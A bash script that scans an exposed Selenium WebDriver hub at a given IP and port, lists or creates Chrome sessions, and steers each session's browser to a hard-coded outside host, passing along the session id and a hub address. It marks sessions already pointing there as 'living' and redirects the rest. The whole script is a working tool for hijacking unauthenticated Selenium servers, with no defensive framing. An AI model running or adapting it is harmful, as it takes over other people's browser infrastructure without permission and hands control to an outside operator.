#!/usr/bin/env bash

#ip="54.189.84.214"
ip=$1
port=$2


query="curl  --connect-timeout 6 -s -X GET
--header 'Content-Type: application/json'
--header
'Accept: application/json'
http://$ip:$port/wd/hub/sessions"


nav(){
   if [[ $3 =~ 'create' ]] || [ "$3" ==  "" ] || [[ 20 -gt ${#3}   ]]
    then
        echo ""
    else
        echo "***nav to $3***"
        cmd="curl -s --connect-timeout 12 -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
        \"url\": \"http://47.52.168.156?wdsid=$3&wdurl=http%3A%2F%2F45.33.124.8%3A4444%2Fwd%2Fhub\"\
        }' http://$1:$2/wd/hub/session/$3/url"
        eval $cmd >/dev/null
    fi
}

create(){
   create="curl -s --connect-timeout 6 -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
    \"desiredCapabilities\": {\"browserName\":\"chrome\"} \
    }' http://$1:$2/wd/hub/session"
   res=`eval $create`
   sid=`echo $res | jq .sessionId | sed 's/"//g' `
   echo $sid
}

cur(){
    cur="curl  --connect-timeout 8 -s -X GET
        --header 'Content-Type: application/json'
        --header
        'Accept: application/json'
        http://$1:$2/wd/hub/session/$3/url"
#    echo $cur
    echo `eval $cur` | jq .value
}

res=`eval $query`


if [ "$res" !=  "" ] && [[ $res =~ "status" ]]
then
    if [[ $res =~ "id" ]]
    then
#        echo $ip >> has_session.log
        ips=`echo $res | jq .value[].id`

#  loop sessionId
        if [[ ${#ips} -gt  25 ]]
        then
            echo "loop sessionId"
            for i in $ips
                do
                    sid=`echo $i | sed 's/"//g' `
                    cmd="cur $ip $port $sid"
                    url=`eval $cmd `

                    if [[ $url =~ "http://47.52.168.156" ]]
                        then
                            echo "living"
                        elif [[ $url =~ "additionalInformation" ]] || [[ $url =~ 'reachable' ]] || [[ $url =~ 'session' ]] || [[ $url =~ 'refused' ]]  || [[ $url =~ 'closed' ]]
                        then
                            echo "bad"
                        else
			                echo $url
                            cmd="nav $ip $port $sid"
                            eval $cmd
                    fi
            done
        fi

#  1 个创建
        if [[ 50 -gt ${#ips}  ]]
          then
              cmd="create $ip $port"
              sid=`eval $cmd`
              if [[ 40 -gt ${#sid}  ]] && [[ ${#sid} -gt 30  ]]
              then
                  cmd="nav $ip $port $sid"
                  eval $cmd
              fi

          fi
#  为空 创建
    else
           cmd="create $ip $port"
           sid=`eval $cmd`
            if [[ 40 -gt ${#sid}  ]] && [[ ${#sid} -gt 30  ]]
            then
                cmd="nav $ip $port $sid"
                eval $cmd
            fi
    fi
fi

